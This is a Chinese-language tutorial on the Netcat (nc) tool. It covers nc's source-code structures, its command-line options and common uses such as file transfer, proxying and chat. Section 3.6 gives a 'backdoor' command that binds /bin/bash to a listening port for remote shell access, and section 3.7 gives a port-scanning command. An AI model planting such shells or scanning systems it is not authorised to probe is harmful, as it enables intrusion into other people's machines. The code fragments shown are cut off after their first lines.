nc
的全称为Netcat,是一款拥有多种功能的 CLI 工具,可以在网络上进行读/写以及重定向数据等操作,被誉为是网络界的瑞士军刀。它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此它是一个非常好用的网络工具,它的主要用途为:
文件传输
:由于是直接建立TCP连接发送数据流,因此使用nc传输文件是不安全的,但是速度很快;端口扫描
:可用于批量扫描指定IP的端口是否可用;代理服务器
:简单的代理服务器;- 等等;
一、源码解析
官方nc(Netcat)的代码的下载地址为:http://netcat.sourceforge.net/download.php;
nc(Netcat)各版本的代码已经存储到 bugwz/netcat;
1.1、工作模式
nc共有四种连接模式,一下列出的连接模式按照索引等级由低到高,具体模式的含义解释以及相关的结构体代码如下所示:
未制定模式
:默认的模式;连接模式
:未使用-l
和-L
参数,通常为客户端连接其他IP的对应端口时启用该模式;监听模式
:使用-l
参数进入该模式;隧道模式
:使用-L
参数进入该模式;
typedef enum { |
1.2、支持协议
nc支持TCP和UDP协议,默认支持的协议为TCP协议;
typedef enum { |
1.3、主机以及端口存储结构
/* 这是标准的netcat主机记录。 它包含一个'权威'名称字段,该字段可以为空, |
1.4、网络连接Socker存储结构
typedef struct { |
1.5、数据缓存与IO读写
数据缓存的结构体如下所示:
/* 用于队列缓冲和数据跟踪。 'head'字段是指向缓冲区段开始的指针,而'pos'表示数据流的实际位置。 |
网络IO的主要的处理函数为int core_readwrite(nc_sock_t *nc_main, nc_sock_t *nc_slave)
,该函数循环操作网络IO,相关部分代码如下所示:
/* 处理标准输入/标准输出/网络IO. */ |
二、参数解析
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid] |
-4
:使用IPv4;-6
:使用IPv6;-A
:在套接字上设置SO_RECV_ANYIF;-a
:在套接字上设置SO_AWDL_UNRESTRICTED;-b
:将套接字绑定到指定的接口,需要附带参数;-c
:发送CRLF作为行尾;-C
:不要使用蜂窝数据连接???-D
:启用调试套接字选项;-d
:后台运行;-E
:Don’t use expensive interfaces;-F
:Do not use flow advisory (flow adv enabled by default);-G
:连接超时时间(秒)-h
:显示帮助-H
:初始化空闲超时时间(秒),需要附带参数;-I
:重复空闲超时的间隔(秒),需要附带参数;-i
:发送线路、扫描端口的延迟间隔,需要附带参数;-J
:重复空闲超时的次数,需要附带参数;-k
:为多个连接保持入站套接字打开;-K
:指定流量类别,需要附带参数;-l
:侦听模式,用于入站连接;-L
:生成读取超时事件之前要发送的探测数,需要附带参数;-m
:在套接字上设置SO_INTCOPROC_ALLOW;-n
:禁止名称/端口解析;-M
:使用MULTIPATH域套接字;-N
:生成写超时事件之前要发送的探测数,需要附带参数;-O
:使用老式的connect代替connectx;-p
:指定用于远程连接的本地端口(不能与-l一起使用),需要指定参数;-r
:随机化远程端口;-s
:本地源地址,需要附带参数;-t
:回复Telnet请求;-U
:使用Unix域套接字-u
:UDP模式;-v
:详细信息模式;-w
:连接和最终网络读取超时,需要附带参数;-X
:代理协议,可选参数为socks4、socks5或connect;-x
:指定代理地址和端口;-z
:零I/O模式[用于扫描];-o
:连接/绑定后发出套接字选项;--apple-delegate-pid
:使用pid将socket设置为委托;
三、常用指令
3.1、文件传输
接收数据的机器:
nc -4l 54321 > recv.file |
发送数据的机器:
nc 192.168.1.100 54321 < send.file |
3.2、端口连通性检测
# 可使用 -u 检测UDP端口 |
3.3、连接端口
# 可使用 -u 连接UDP端口 |
3.4、聊天室
服务器端:
nc -4l 54321 |
客户端:
nc 192.168.1.100 54321 |
3.5、代理服务器
目前有三台机器A(192.168.1.100
)、B(192.168.1.101
)、C(192.168.1.102
),现在需要把B
当作代理服务器,把发送到B
的80
端口的流量全部转发到C
的8080
端口,确保C
的8080
端口处于监听状态,执行步骤如下:
3.5.1、单向管道
在B上执行如下指令:
nc -l 80 | nc 192.168.1.102 8080
3.5.2、双向管道
在B上执行如下指令:
mkfifo 2way
nc -4l 80 0<2way | nc 192.168.1.100 8080 1>2way
3.6、nc后门(反弹Shell)
服务器端创建后门的命令:-e` 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
nc -4l 54321 -e /bin/bash |
客户端连接后即可执行正常的Shell指令,连接指令如下:
nc 192.168.1.100 54321 |
3.7、扫描端口
扫描目标IP的制定的端口范围;
nc -v -z -n -w 1 192.168.1.100 1-1023 |